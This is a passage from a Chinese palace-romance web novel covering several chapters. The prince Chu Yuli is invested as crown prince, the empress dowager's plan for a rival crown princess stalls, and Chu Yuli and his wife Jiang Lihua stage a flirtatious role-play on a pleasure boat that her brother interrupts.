如果是计划好的,她真的会想要看看他的脑子都在想什么,怎么这段的时间就让楚巍澜对他这个算得上半个杀母仇人的兄长死心塌地了。
楚御礼挑眉,他好笑地垂眸看着姜黎婳,“你就只是想要问我这个?”
见姜黎婳眼神清澈,他笑着摇头,“这些年你夫君我虽然常年生病,也不愿意与他们兄弟几人来往,但他们几个人的性子我还是一清二楚的,他们三个人当中,也只有这楚巍澜是真的单纯。”
楚御礼把玩着姜黎婳柔软的手指,眼神平静,“淑妃虽然的确是坏到骨子里面去了,但是楚巍澜倒是和她完全相反。”
说到这里他嘴角勾起一抹冷漠的弧度,眉梢微挑,“这倒也是歹竹出好笋。”
姜黎婳好久没有想起淑妃了,现在听楚御礼说起淑妃,又想到淑妃对楚御礼做的一切,她反握住他的手,“楚巍澜能明白那些与你无关,的确难得,也希望他早些走出来。”
“但就怕有些人不想让他走出来。”楚御礼眼神微冷,“所以无论是为了楚巍澜还是我们,他想离开,那我就让他离开。”
姜黎婳一顿,她眼神震惊地抬眸看着楚御礼,“你...”
“婳儿。”楚御礼认真地看着姜黎婳,沉声道,“为了我们夫妇的未来,为夫都必须站在最高的位置上去,只有在拥有绝对的权利之下,旁人才不敢对我的人生指手画脚,才不会对我的决定多有意见!”
姜黎婳看着他脸上露出的决然之色,姜黎婳只感觉自己的心好像闷闷的,想到之前她还打算在回京之前和她度过一段快乐的时间,然后再回京前夕与他提出和离分开...
而那时候他却一心想的是斩断他们面前的荆棘,握着她的手安稳地一路走下去,她就觉得心头内疚,想到楚御礼从头到尾对他们感情的坚定选择,姜黎婳忽然觉得自己就好像一个彻头彻尾的懦夫,她从成亲那天起就想的是,保留自己,在能脱身的时候就脱身。
即便她想过要借着治好楚御礼当上人上人来为原主报仇,但是却从未想过全身心的付出自己。
这样想来,他们两个人在这段感情里面,谁付出得更多,好像显而易见了。
想到这里,姜黎婳抬眸与楚御礼对视,她轻轻点头,语气坚定,“好,你只管去做,虽然我可能帮不了你什么,但是我不会拖你后腿的。”
听到自己想要的回答,楚御礼笑着把她拥入怀中,语气含笑,“父皇这些日子可能会有动作,他派了常胜和常勇前去南岳军中镇压南岳军,但是五皇叔的亲信还有常河和常江在京城,应该是要等到封了太子之后才会离京,为了不让父皇在下达封太子的圣旨时一同下达封旁人为太子妃的圣旨,为夫都得忙一些了。”
姜黎婳嗯了一声,忽然她眼中闪过一丝促狭,她抬眸看着他,眉梢微扬,“好多男子都想的时,升官发财死老婆,你确定要和我绑在一起一辈子吗?楚御礼,现在你还有机会选择,若你真的....唔....”
楚御礼发狠的在她的嘴唇上咬了一口,姜黎婳疼得眼泪都出来了,她使劲推开她,抬手在他肩膀上打了一下,“开玩笑呢!你干嘛咬我?”
楚御礼抬手在她嘴唇上轻轻擦了一下,看着她被自己亲得红肿的唇,他眼神微沉,语气也多了一丝恼意,“开玩笑也不能说那些话!姜黎婳,这辈子我就是缠住你了!不对,这辈子下辈子下下辈子,你都休想从我的手心里面逃脱!”
“这么霸道啊?”姜黎婳被他这话彻底取悦了,她伸手在他胸口轻轻画圈,“竟然下辈子和下下辈子都要先从我这里预定了?”
“对,你姜黎婳生生世世都只能是我楚御礼的妻。”楚御礼一把把姜黎婳拥入怀中,“婳儿,以后即便是玩笑也不要从你嘴里说出那种话,知道了吗?”
姜黎婳轻轻点头,“好。”
在外面赶车的昭临听着夫妇两人的话,只感觉浑身鸡皮疙瘩全都起来了。
主子如今是越来越黏着王妃了!
这个兆头可不是好兆头啊!
以后不会登基了,连皇帝的位置都要给王妃来坐吧!
他侧首看了一眼坐在自己旁边车板上的知夏,她垂着头,看不清楚她在想什么,但是光看她都抖动的肩膀就知道她肯定在别笑。
昭临收回目光,好笑吗?
知夏被昭临直白的目光看得有些不自在,她抬手擦了一下自己的眼泪,回眸看向昭临,“昭临大哥,有什么事吗?”
昭临瞪眼,他往身后看了一眼,压低声音道,“你哭什么?”
知夏抽噎着继续擦眼泪,“替我们家小姐高兴。”
他们小姐虽然亲爹不疼亲娘不爱,哥哥和弟弟也眼瞎,但是好在遇到了这么喜爱她的夫君。
而且从小到大,她们知道自家小姐经历过些什么,她是真的很为这个曾经与人挨到都会恶心半天的小姐,找到这么一个真心对她好的夫君而开心的。
昭临蹙眉,开心难道不应该笑吗?哭什么苦?
这些女人好奇怪,还是那个叫青梅的小丫头有意思一些,时常都是笑眯眯的...
可是那个笑眯眯的小丫头,好像被这知夏和铃铛还有王妃孤立了?
第278章 封太子
姜黎婳这几日都窝在府中闭门不出,也不见客,就算是很熟的人递了拜帖,她也都回绝了,就说身子不爽不愿意见客,就连曾经的二皇子妃如今的万和郡主和镇国侯府的裴湘宁给她递了拜帖说想要上府看望她,她也都一一回绝了。
她想等楚御礼说的事情尘埃落定之后再说,免得先听旁人的安慰,她如今虽然不那么抗拒与人交流了,但是真的要和她们费口舌周旋,她还真的觉得费心神,所以还不如闭门谁都不见。
二月十五,大朝会。
皇帝下圣旨恢复靖王封号,并把靖王尸骨重新葬入皇陵,靖王的几个亲信都封了将军,且把楚蕙兰那十万大军命名为靖安军,由靖王生前的几个亲卫,常胜、常勇、常江、常河几人共同领兵,如今常胜常勇两人在南岳,就由常江和常河两人带领着十万兵马前往南岳,加入南岳军。
与此同时,皇帝在大朝会上下了罪己诏,以表对靖王的愧疚和亏欠,楚国上下听到皇帝为自己曾经误会靖王而下罪己诏,全国震惊,却又觉得拥有这样一个敢做敢认,且敢于面对自己曾经所犯错误的帝王而开心,都觉得他们的帝王是千古难遇的明君!是一个仁善的帝王!他们拥有这样一个仁善的明君简直是他们楚国之大幸!
朝会上皇帝听着太监们不断从宫外传来的反响嘴角的弧度就一直没有压下去。
他看了一眼站在最前面一直弓着身没有说话的楚御礼,想到这几日楚御礼的所作所为,还有楚御礼对他的保证,他朝福清挥了挥手,一直捏着圣旨站在他身后的福清举着圣旨走到前面来,“御王接旨。”
楚御礼挺直背脊跪了下去,“吾皇万岁万岁万万岁。”
“奉天承运,皇帝诏曰:
朕御临天下,垂拱而治,赖宗庙之灵,群臣之力,四海升平,兆民安乐...
嫡长子楚御礼,天资聪慧,恭谨自律,朝野内外,咸有令名,足堪继承大统,总领万机。
兹册立楚御礼为皇太子,郑卫东工,钦定储君之尊,其应谨守君臣父子之道,勤修德业,广纳贤才,研习治术,以辅朕躬....”
等福清念完诏书,楚御礼面色自然地再次行礼,“儿臣接旨,谢父皇隆恩,吾皇万岁万岁万万岁。”
看着楚御礼神色自然地接过诏书,皇帝笑着点头,“今后你定要更加勤勉,为朝臣做好身为太子的表率。”
楚御礼拱手,“儿臣定然不会辜负父皇的重望。”
皇帝笑着颔首,“如此甚好。”
朝臣这时候也全都下跪恭贺皇帝和楚御礼,皇帝心情大好,他摆手,“如今太子已然册立,朕的一大心事也已经了了,今后御儿你就做好你储君该做的事情,可万不能让咱们皇室蒙羞啊。”
楚御礼听着皇帝话里对他的敲打,他嘴角勾了勾,眼底却一片冰冷,他朝皇帝拱手,“儿臣谨遵父皇教诲。”
皇帝摆手,“那就散朝吧。”
慈宁宫中。
听了宫人来报,太后直接把手边的擦背掀落在地,“皇帝不是答应了哀家,在封太子的时候就会下达册封太子妃的圣旨吗?为何没有封太子妃的圣旨下达?”
小太监被太后吓得直接跪在地上瑟瑟发抖,他也不敢去问皇帝怎么不下封太子妃的圣旨啊!
太后瞧着跪在地上不敢说话的太监,气就不打一处来!
她狠狠地拍了一下手边的矮几,沉声道,“随哀家去御书房!”
站在她身边的翠娘连忙上前扶着她站起来。
与此同时,承恩公府。
身着一身红衣等待册封的孟若瑶满心期待地和自家母亲在前厅等着圣旨的到来。
想到太后对她的承诺和保证,孟若瑶眼底尽是疯狂之色,过了今天她就是名正言顺的太子妃了!
姜黎婳那个小狐狸精以后即便是能留在太子身边,也不过是一个侧妃或者良娣!她身为太子正妃,难道还拿捏磋磨不了一个弱女子?
只要她当了太子妃,她有的是手段把太子从姜黎婳那个狐狸精那里抢过来!也有的是手段让姜黎婳生不如死。
既然她不识好歹,不接受她和太后的好意,那以后就不能怪她心狠手辣了!
想到姜黎婳以后在她面前凄惨求饶的画面,又想到楚御礼被自己抢过来,对姜黎婳嗤之以鼻的样子,孟若瑶眼底的兴奋已经抑制不住了。
她兴奋地在自家前院的客厅中来回走动,甚至迫不及待地让身边的婢女去门口打听,
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“去看看怎么还没有来?让人出去看看送圣旨的人到哪儿了?”
承恩伯夫人瞧着女儿激动的模样,忍不住笑着拉住她,“你别太激动了,既然太后娘娘说了会让皇上下圣旨封你为太子妃,那这件事情就是板上钉钉的,你先坐下,真是一点小姑娘的矜持都没有了。”
“母亲不激动吗?”孟若瑶抓住承恩伯夫人的手,语气激动,“今日之后女儿就不只是这府中的小姐了,而是太子妃。”
“这府中的孟小姐无数个,但是以后身为太子妃的孟小姐,就只有我一个!”孟若瑶眼神闪烁着光芒,“以后太子登基,女儿还会...”
她话还没有说完,就看到自家父亲大步从门外回来了。
孟若瑶往他身后看了一眼,没有看到跟过来宣纸的太监,她眉头微蹙,朝承恩公迎了过去,“父亲,宫中的人呢?还在你后面吗?”
“什么宫中来人?”承恩公眉头微蹙,语气不善,“皇上根本没有下达封太子妃的圣旨!我想封太子妃的事情应该要搁置了。”
“这怎么可能!”孟若瑶不可置信地瞪大眼睛,语气凌厉,“姑祖母明明答应了我的,她说皇上已经答应了,今天会下封太子妃的圣旨!怎么可能会搁置!”
“皇上的决定也是你我可以左右的!”承恩公冷冷地睨了孟若瑶一眼,沉声道,“今后你给我安分一些,这些日子你因为要被封太子妃,有多招摇你自己知道!如果最后封太子妃的事情不了了之了,我看你怎么收场!”
“即便现在搁置了又如何!”孟若瑶双目通红地瞪向承恩公,冷声道:“今后太子要封太子妃,那个太子妃也只会是我!不可能是那个残花败柳的女人!”
“够了!你还敢乱说!”承恩公狠狠甩袖,“你这话最好是别让太子听到!你这些日子最好给我安分些,若惹怒了太子,就休怪我不客气了!”
“爹你在怕什么!我们有太后给我们撑腰!难道您就想要我们承恩公府止步于此了吗?”
承恩公一愣,但是想到出宫的时候太子特意拉着自己说的那些话,他又沉了脸,“无论如何,你今后给我安分守己,圣旨没有下来之前,你少给我在外面惹事!”
第279章 出尔反尔
御书房中。
皇帝瞧着太后匆匆而来,他那双睿智精明的眼眸之中闪过一丝不耐,说实话,如果不是因为太后,他是不会同意让承恩公府的女儿嫁给太子的,毕竟承恩公虽然是一等公爵,但是这个公爵并不是因为战功或者说承恩公对朝廷有多大的贡献而得来的。
一个靠着女人得到荫蔽而受封的公爵府邸,其实也没有什么好值得骄傲的。
太后看到皇帝明明看到自己进来了却恍若未见,还继续低头处理桌案上的奏折,她眉头紧紧皱了起来,脸色越发难看了,对扶着自己翠娘使了个眼色,她走到一旁的红木椅上坐下。
皇帝批阅万了手中的奏折,才抬头看向太后,语气淡漠地问,“母后什么时候过来的?”
“过来有一会儿了。”太后看了皇帝一眼,语气里面带了一丝嘲讽,“皇帝忙于处理政务,大概是没有注意到哀家过来,也没有注意到自己身边的太监也被哀家打发出去了。”
“瞧朕这一忙起来,就忽略了周围的事务。”皇帝笑着站起来,“忽略母后了,是朕的不是。”
他走到太后身边的红木椅上坐下,笑着道,“母后来了怎么也不让人通报一声。”
太后抿了抿嘴,“哀家也没什么事,等等皇帝也没什么的。”
“还是母后体恤朕。”皇帝笑着点了点头,他端起手边的茶盏抿了口茶,“这世上能如此体恤朕的也只有母后你这个当母亲的了,不像是那些不孝子,一个两个都是俩讨债的。”
太后原本还想质问皇帝为何不立刻下封孟若瑶为太子妃的圣旨,此时听到皇帝这么说,到了嘴边的话,问不出来了,她蹙眉,“太子因为太子妃的事情威胁你了?”
皇帝叹气,“孩子长大了,翅膀硬了,有了威胁老子的能力。”
“那你就任由他这么胡来?若他硬要封那个名声有毁的女人为太子妃,你也要答应吗?”太后狠狠地在手边的金丝楠木制成的高几上拍了一下,厉声道:“他年轻不懂事,你身为皇帝,阅历如此丰富,也要由着他来吗?”
“母后啊,朕如今只有这么个儿子可用了。”皇帝眼神骤然变冷,脸色也沉了下去,“朕这些年来雨露均沾,但是后宫自从出了个六公主之后,再无所出,如今二皇子已经废了...”
想到宗人府那边传来的消息说楚明暄那里已经溃烂,而且如今太医已经回天乏术,就算有上好的汤药日日给他服用也只能延缓他的性命,根本无法治好他,他如今才是真正的只能等死。
皇帝的脸色变得更难看了几分,这个儿子毕竟是之前自己疼爱过的,虽然因为他的纨绔,自己从未对他寄予众望,但是听到他这么惨,他心头还是有点不是滋味。
“三皇子他母族爆出那种丑事,他自己都一蹶不振,还要如何当大任?”皇帝侧眸看了太后一眼,继续道,“至于楚浩泽...如今朕留他一条性命也不过是因为那两个女人还没有给他留下子嗣,等那两个女人成功为他产下子嗣,朕是不可能留下那么个狼子野心的人在世上的。”
提起楚浩泽太后也想起了楚浩泽的身世,也想到了之前发生的逼宫事件,太后到嘴边的话,又憋了回去,“不选太子妃,身边总要有几个侍妾吧?为皇室开枝散叶的任务,他总不好还要拒绝吧?”
皇帝想到先前楚御礼对他的威胁和保证,他头疼地揉了揉眉心,“朕答应了他,只要他当这个太子,承担起太子的重任,朕就不干扰他后宅的事情,他也会让百姓不在关注他御王府后宅的事情,朕不能反悔。”
“这不行,那也不行!”太后猛地拍桌,“那你答应哀家的事情呢?皇帝,你说这些年过来,哀家要求你为承恩公府破例过吗?如今就连这点小事,你也不能答应哀家吗?”
皇帝蹙眉,“母后,有些事情不方便朕出面,你自己看着办吧。”
他先前就因为派人刺杀姜黎婳被儿子反将了一军,甚至父子差点反目成仇,如今楚御礼答应当太子,他也答应了楚御礼,只要朝臣和百姓不再议论御王妃的事情,楚御礼也不会立刻要求他封御王妃为太子妃的话,那他可以不管他后宅的事情,他现在就不能出尔反尔。<
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br>至于其他的,太后想要给楚御礼选侍妾,这种事哪儿用得着他这个当皇帝的过问?
“既然如此,哀家就自己瞧着办了。”太后冷着脸站起来,“皇帝政务繁忙,哀家就不继续留下来打扰你了,你继续处理奏折吧。”
太后刚走出去,福清就弓着身走了进来,皇帝笑着福清脸上带着浅淡的笑意,他心头不爽,哼声骂道,“笑什么?你个狗奴才敢看朕的笑话?”
“哎哟,奴才冤枉啊。”福清笑着跪了下去,“陛下,奴才这是为您高兴啊。”
皇帝冷哼着站起来往书桌的方向走,“朕被儿子拿捏住了,有什么值得高兴的,你这狗奴才眼瞎了?”
“陛下,您瞧瞧您前些日子和太子殿下的关系如此紧张,如今父子两人的关系总算是得到了缓和,奴才能不高兴吗?”福清笑着爬起来,走过去把拂尘放到一边,给皇帝捶肩,“而且奴才特意出去打听了,如今这京城没有一个人在说御王妃被掳走的事情,陛下您完全不用担心那些事情发生。”
其实那些捕风捉影的流言蜚语在京城中是不会议论太久的,除非有人故意让人在不同的地方传播消息,不然家家都有事情,哪儿会有这么多时间关注旁人的事情。
“你是那臭小子放在身边的眼线吧?”皇帝挥手让他无需捶肩,拿起桌上的奏折开始翻开,“就知道为他说话,如今他得偿所愿了,你也少来朕这儿拍马屁了。”
“陛下,老奴对您可是忠心耿耿啊,做什么事情都是以陛下为先的。”福清又尖声喊冤跪在地上,“奴才只是想看到陛下与太子殿下父子和睦呀,陛下可不能冤枉了奴才呀。”
“行了行了,滚出去,朕要看奏折了。”皇帝拿起奏折不再理会福清,目光落在奏折上,却看不进去。
他倒是要看看他不阻拦楚御礼了,这楚御礼是不是能够抵挡得住朝廷众臣和太后那边的施压。
年轻人年轻气盛,是该好好地感受一下现实的打压了。
皇帝想到这里眉梢微动,他放下奏折,朝福清招手,“朕有事要你去办。”
第280章 公子如玉
楚御礼回到王府直接就往梨月居而去,他匆匆走进正屋的时候,姜黎婳正在练字,见他回来,她把毛笔放回笔架上,笑着给他行礼,“妾身见过太子殿下,太子殿下万福金安。”
楚御礼瞧着她故意揶揄自己那生动的模样,心头一动,他把圣旨随手放在桌边,走过去拉着她的手一把把她车入怀中,声音暗哑,“娘子今日怎的如此乖巧?是为了讨好孤?”
姜黎婳抬眸正好捕捉到他眼底的那一丝打趣,她笑着点头,“如今您贵为太子,妾身自然要好好讨好您了。”
楚御礼的笑声从喉间溢出,他搂住她的腰肢,让她贴着自己,顺势把头靠在她的肩膀上,对着她的颈脖轻轻吹气,“娘子无需讨好为夫,只要你愿意留在为夫身边,为夫愿意每日过来讨好你。”
姜黎婳被他这话弄得浑身一麻,鸡皮疙瘩又要起来了,她嗔了他一眼,“你如今身为太子,能不能别随时随地说这些肉麻的话。”
“这肉麻吗?”楚御礼忍不住在她白嫩的颈脖上啄了一下,声音沙哑,“为夫说的都是心里话,娘子不爱听?”
姜黎婳被他这忽来地动作弄得脸颊通红,就连颈子和耳朵都变成了粉红色,她抬手抵着他,低声嗔骂,“这么多人看着,你不要乱来。”
楚御礼扫了一眼站在屋中走也不是留也不是的知夏,知夏这才慌张地退了出去,顺便帮两人把门带上。
听到关门声,姜黎婳急了,她连忙推开楚御礼,“好好说话,大白天的不要得动手动脚的。”
“娘子,如今咱们夫妇还住在御王府,这御王府中全是咱们夫妇二人的人,咱们夫妇要做什么就做什么,下人是不会说三道四的,以后若搬进东宫,咱们就真的没有机会白日...”
姜黎婳听到他这话,急得抬手捂住他的嘴,“你别说了!”
他笑看着急得脸颊通红的姜黎婳,眼底全是促狭之色,轻轻在她的掌心吻了一下,姜黎婳的掌心像是被烫到一样,一下子缩回自己的手,瞪大双眼看向他,这人如今怎么越来越大胆了!如今竟然还做出这种事情来了!
他刚刚竟然舔她的手心!
想到刚刚的触感,姜黎婳的脸瞬间变成了猪肝色,这人自从她说心悦他,愿意相信他之后,就像是打开了什么不得了的开关,总会做一些她意想不到的事情来!
这样的人,真的是她曾经在小说里面看到的那个糜弱高冷的大皇子吗?
楚御礼笑着上前一步,伸手搂着她的腰不准她后退,“娘子,父皇已经答应了我,不会给我另封太子妃,也不会干预我后宅之事,你是不是应该奖励奖励为夫?”
姜黎婳诧异的抬眸与他对视,“你是如何说服皇上的?”
“这点娘子不用管,你就说要如何奖励为夫?”楚御礼抬手在她鼻梁上轻轻一刮,眼神温柔,“嗯?”
姜黎婳垂眸,她知道他不愿意说,但是这里面肯定付出了不少努力,这些日子他早出晚归的,每日回来人也很疲惫,想来是在为了让皇帝答应他而在她看不到的地方得到皇帝的认可。
她抬手回抱住他的腰,红着脸,低声问,“你想要什么奖励?”
楚御礼眼睛一亮,眼底闪过一丝的得逞之色,“今夜我们去游湖赏月如何?”
如今天气暖和了,金河旁边的柳树也在冒新芽了,好多富家子弟已经开始包画舫游河了。
“游湖赏月?”姜黎婳点头,“可以,那晚些我来安排,咱们一同去游湖赏月。”
见她竟然答应得这么爽快,楚御礼眉梢微动,“那到时候你可不许反悔?”
“这有什么好反悔的。”姜黎婳笑着抬眸与他相视,她松开他的腰,“现在时辰还早,你是不是还要处理政务,可别刚当上太子就被人说你不务正业,赶紧去忙你的,我让人去安排游船。”
“那为夫就好好地期待一下娘子你准备的游船了。”楚御礼说罢又快速在她额头上亲了一下,这笑着离开。
看着楚御礼那轻快的脚步,姜黎婳脸上的笑容也越发深了。
她以前从未想过,她会和自己的丈夫如此亲密又恩爱,看来穿越在这本书中,可能真的是上天对她的恩赐。
如果不是遇到他,她以前的遭遇,可能根本得不到治愈,她也可能无法再爱上任何一个男人...
是夜。
楚御礼接到昭临传
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来姜黎婳让他直接去金河画舫的消息,他特意回府换了一身衣裳,瞧着镜中穿着月白色锦服的翩翩公子,楚御礼满意地挑了挑眉头,重新拿了一顶玉冠戴在头上,然后拿起一把折扇握在手中,瞧着自己的打扮,楚御礼笑了,娘子看到他今日的装扮,应该会觉得眼前一亮吧。
今日他就为娘子扮演一次风流书生,与娘子在船上共度一宵。
门外的昭临瞧着自家主子风骚地在铜镜前面来回转身欣赏着自己的风姿,他有些嫌弃的抿了抿嘴,主子什么时候变得这么在意自己的外貌了?
果然美色误人啊!
“主子,时辰不早了,王妃那边还等着您的。”昭临忍不住提醒了一句。
楚御礼睨了昭临一眼,随手把折扇握在手中,朝着昭临走过来,“孤这身打扮如何?”
“主子向来风姿卓然,今日这身更是玉树临风!”
楚御礼面上的笑容一敛,抬步朝外面大步而去。
看着自家莫名其妙生气的主子,昭临抬手挠了挠头,“怎么忽然生气了?”
他夸人难道还夸错了吗?
金河,某画舫。
楚御礼瞧着不大不小的画舫,上面挂了花灯,还另做装饰打扮了一下,一眼就可以看出和旁边的那些画舫不一样,想到娘子为了和他游河赏月而特意准备了一下午,他眼底的笑意就更甚了。
今夜他要和娘子在这画舫上共渡良宵!让娘子体验风流才子给她带来的快乐。
想到自己接下来要和娘子在这船上做什么事情,楚御礼把折扇往手中一拍,朝着身后的昭临他们吩咐,“你们重新弄几艘小船跟在后边,不用上船。”
娘子害羞,人多了,她会不自在。
楚御礼说罢抬步走上船,看到包间中坐在桌边吃点心的姜黎婳,楚御礼抬步上前倚在门边,笑着道,“这位小娘子瞧着好生眼熟,就像是曾经救下小生的恩人。”
姜黎婳抬眸朝楚御礼看过来,见他身着白色锦服,头顶玉冠,再加上那他举世无双的容貌,此时的他手中拿着一把折扇站在门口.笑睨着她...
她的脑海中忽然浮现了几个字:陌上人如玉,公子世无双。
第281章 角色扮演
楚御礼虽然之前也穿过月白色的锦服,但是和今日这风度翩翩的模样完全不同,不知为什么,她总感觉今天穿着这身月白色锦服打扮的书生,格外勾人...
书生...
姜黎婳眼睛忽地眨了眨,她总算知道哪儿不对劲了,以前的楚御礼即便身着月白色锦服,那也是清冷高贵的王爷,但是今天他收起了那股清冷和高贵,只是一个与佳人偶遇的年轻书生。
他先前说她像是救下他这个小生的救命恩人?
这是要和她玩一下角色扮演?
想到这里,姜黎婳漂亮的桃花眼中闪过一丝狡黠,她眉梢微挑,站起来躲到桌子后面,低声嗔道,“哪儿来的登徒子!竟然敢上本小姐的船!”
楚御礼瞧着她那故作惊讶和生气的模样,原本就感觉有点心痒痒的,现在就更感觉心都要从喉咙跳出来了,真想一把把她抓住,抱在怀中亲个够!
不过...
他站直身子,然后抬起手,给姜黎婳掬了一礼,笑颜温柔地看着姜黎婳,“都是小生的错,吓到小姐了,只是今夜我家娘子约了小生来这船上游湖赏月,小生也不知为何会上了小姐的船,难道这就是缘分?”
他抬步走进船舱,“小生绝对不是登徒子,之所以这么说是因为小姐真的长得很像几年前救过小生的救命恩人。”
姜黎婳瞧他一本正经胡说八道的样子,不禁觉得好笑,她压住颤抖的嘴角,指着楚御礼,“你这话的意思是说我曾经救过你?”
“不知小姐是否还记得几年前江南...”
“哦!”姜黎婳故作惊讶地捂着嘴,看着楚御礼,“我想起来了,你是当年那个被家仆背刺,落在水中差点被淹死的公子!”
“这位小姐是想起我来了?”楚御礼把手中的折扇放在桌上,双手撑着桌子,隔着圆桌看着姜黎婳,“那小姐想要我如何报答救命之恩呢?”
“俗话说得好,救命之恩当以身相许。”姜黎婳叹了口气,有些惋惜地摇了摇头,“你长得又好看,若是能成为我的夫君,那我就无憾了。”
说着她啧啧了两声,“可惜了,我这个人有洁癖,不喜欢有妇之夫,这位公子还是别来招惹我的好,一会儿我的夫君就要来找我了,不如你先离开,免得让人看到之后,说闲话。”
楚御礼听着她说的这些话,忽然感觉有点刺激,这被她乱七八糟地加了其他角色进来,还真让他感觉有点刺激了。
楚御礼咽了咽口水,笑出了声,“那不是更好,让你夫君去我娘子的船上,他们两人也可以赏月。”
他故意压着自己的嗓子,哑着嗓子道,“你不觉得刺激吗?”
“这是有悖常伦的!”姜黎婳脸颊通红,气急败坏地指着楚御礼,“你知不知羞啊?”
她脸颊红是真的红,她也没想到今晚赏月,楚御礼竟然还要和自己来这么一出角色扮演,甚至还演得这么让人羞红了脸....
楚御礼趁姜黎婳不注意,两步跨过去一把搂住姜黎婳的腰肢,低声道,“什么有悖常伦?我早在被小姐从水中救起来之后就喜欢上了小姐,家中的娘子不过是父母之命娶的,我心头喜欢的人始终是小姐你啊。”
姜黎婳使劲扒拉他抱着自己腰的手,挣扎道,“你放开我,我们这样是不对的!我们这样若是让人发现了,会被送官府的!”
“我不在乎,只要能和小姐你在一起,即便是送官府,我也甘之如饴。”楚御礼低头在她颈脖上亲了一口,声音沙哑,“小姐你难道不喜欢我这样的书生吗?”
“喜欢自然是喜欢的,可是...”
“没有可是,小姐喜欢我就够了。”楚御礼声音沙哑,“我不求其他的,只求小姐在寂寞的时候能想到我,我愿意为小姐消除寂寞。”
姜黎婳耳根通红,脸已经成了猪肝色,她伸手推了推楚御礼,“这样真的可以吗?”
“没什么不可以的。”楚御礼拉着姜黎婳在圆桌旁边坐下,拿起酒壶给姜黎婳倒酒,“月色诱人,小姐可要小酌一杯?”
一直在角落努力缩小自己存在感的青梅要把自己的舌头都给咬破了,她是真没想到自家小姐和姑爷平日里这么会玩啊。
这几句话的时间竟然自己把自己给绿了!
而且看两人这一副乐在其中的刺激模样,好像经常做这种事情啊。
她感觉自己现在不应该在船上,应该在水里。
小姐这是忘
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了自己的婢女也在船上了吗?
姜黎婳是真的把站在角落,现在几乎把自己藏在门背后的青梅给忘了。
她伸手端起桌上的酒杯就要一饮而尽,但楚御礼快她一步按住她的手,让她把酒喂到自己口中,接着附上她的唇,姜黎婳瞪大双眼看着近在咫尺的脸,他此时微吹着眼眸,眼里却是掩不住的神情...
一股辛辣的味道在嘴里蔓延开,姜黎婳猛地瞪大眼睛,下意识的吞咽...
“咳咳咳...”
楚御礼连忙松开她,给她拍背,等她不咳嗽之后,才委屈地问她,“小姐是不喜欢小生这喂酒的方式吗?”
姜黎婳:“......”
这小绿茶。
她摆手,“公子太热情了,我有些吃不消。”
“我以为小姐喜欢这样的。”楚御礼垂眸,面上露出恰到好处的羞涩,“毕竟小姐与我第一次见面,就是用这种方法救我的。”
姜黎婳:“.......”
“我觉得我们还是不要这样了,若让你娘子和我夫君知道了,我们都要完!你还是快些离开吧。”姜黎婳作势要起来。
“您这是赶我走吗?”楚御礼勒紧姜黎婳的腰,把她压在自己的腿上,“你放心,他们是不会知道的,只要这船离开了岸口,没人知道这船上有什么人...”
“够了!我简直听不下去了!”一个震怒的声音打断两人的话,接着响起他痛心疾首的声音,“婳儿,太子对你这么好,你怎么能做出这么...”
从甲板上走进来的姜斯羽声音戛然而止,看着抱着坐在一根凳子上的两人,他眼角抽了抽,“你们...”
这夫妇两人是疯了吧?
自己绿自己有意思?
他差点以为自己的妹妹背着太子和别的男人私会了。
姜黎婳看到姜斯羽那一瞬间,直接把脸埋在了楚御礼的怀中,完了,她先前被楚御礼这么一刺激,完全把自己邀请了哥哥出来放松这件事情给忘了!
这真社死啊!
她可不可以闭眼装晕啊?
楚御礼脸上的尴尬一闪而过,接着笑着抬眸看向姜斯羽,笑道:“夫妻之间培养感情的小情趣,让舅兄见笑了。”
第282章 社死现场
姜斯羽瞧着楚御礼这面不改色的模样,眼角一抽,他还第一次听说自己绿自己是夫妻情趣呢,果然太子爷就是玩的花。
他把目光落在自己那脸颊绯红的妹妹身上,瞧她那一副要找个地缝钻进去的模样,他抿嘴,“你们夫妇要玩自己关上门玩就是了,还邀请我来做什么?”
姜黎婳不看姜斯羽,一个劲儿地揪着楚御礼的衣服编麻花...
楚御礼垂眸看向已经把自己衣服都揪出皱痕的姜黎婳,轻笑,他低声在姜黎婳耳边悄声道,“娘子再扯下去,衣服都要破了,若娘子想撕坏为夫的衣服,那一会儿把舅兄打发之后,为夫让你撕个够,如何?”
姜黎婳猛地松开楚御礼的衣服站起来,一本正经地说道,“哥哥没两天就要春闱了,我想着我们出来游湖,就顺便让哥哥出来放松一下。”
“那个小姐,奴婢去把水果端来,可以吗?”青梅默默地从门背后挪出来小心翼翼地问姜黎婳。
姜黎婳脸上维持的镇定在这一刻彻底龟裂,她如活**一样眨了眨眼睛,努力回想楚御礼倚在门口之前青梅的位置...
姜黎婳一把捂住自己的脸蹲在地上,没脸见人了!
她们刚刚说那些话,做的那些事情,青梅全都看见了吗?
青梅瞧着自家小姐的模样,努力憋着笑,转身就往船舱外面跑去。
姜黎婳生无可恋地觉得今天晚上的她可能是来渡劫的!
楚御礼的脸色也没有好到哪儿去。
他让昭临他们不要上船就是不希望和娘子做的这些事情被旁人看了去,却忘了娘子身边也带了婢女出门的...
他抬手揉了揉眉心,然后弯腰把蹲在地上把脸埋在膝盖中间的姜黎婳拉起来,姜黎婳挣扎着不起来,“我没脸见人了...”
姜斯羽挑眉一笑,“现在知道没脸见人了,先前我瞧你不是配合得挺欢的吗?”他给自己倒了一杯茶,故意揶揄两人,“没想到堂堂太子殿下平日里竟然与自家娘子这么会玩。”
楚御礼用劲把姜黎婳从地上拉起来,让她在圆凳上坐下后,他伸手握住她的手,这才看向姜斯羽,语气带笑,“这没办法,谁叫我们夫妇感情好呢。”
他空出的另一只手整理了一下自己被姜黎婳揪出皱褶的衣服,继续道,“夫妇之间多一点这种生活中的调味剂,感情会更好,舅兄不知道吗?”
楚御礼说到这里忽然露出恍悟的表情,“啊,我忘了,舅兄还没娶妻呢,不知道夫妻情趣为何物,不理解我们也正常。”
姜斯羽脸一黑,面无表情地抬眸与楚御礼对视,“你有娘子了不起!”
“那的确是了不起了。”楚御礼冲姜斯羽挑眉,眼底全是得意,“我不但有娘子,我们夫妇两人的感情还极好,时不时的玩一下这种角色互换,还能增进我们夫妻感情,舅兄以后若是娶妻了,不妨试试。”
“我们这些正经书生可玩不了这么花。”姜斯羽端着茶杯抿了口茶,“太子殿下也别玩脱了,若害我妹妹坏了名声,我可不会轻易罢休的。”
“你们能不能不要一直聊这个话题了!”姜黎婳听不下去了,她从楚御礼手中抽回自己的手,猛地站起来,“我出去透透气!”
这里面她是待不下去了,她真的要羞**!她是真的不知道楚御礼怎么脸皮这么厚的!这种事情被舅兄看了去,还一本正经地和舅兄聊了起来。
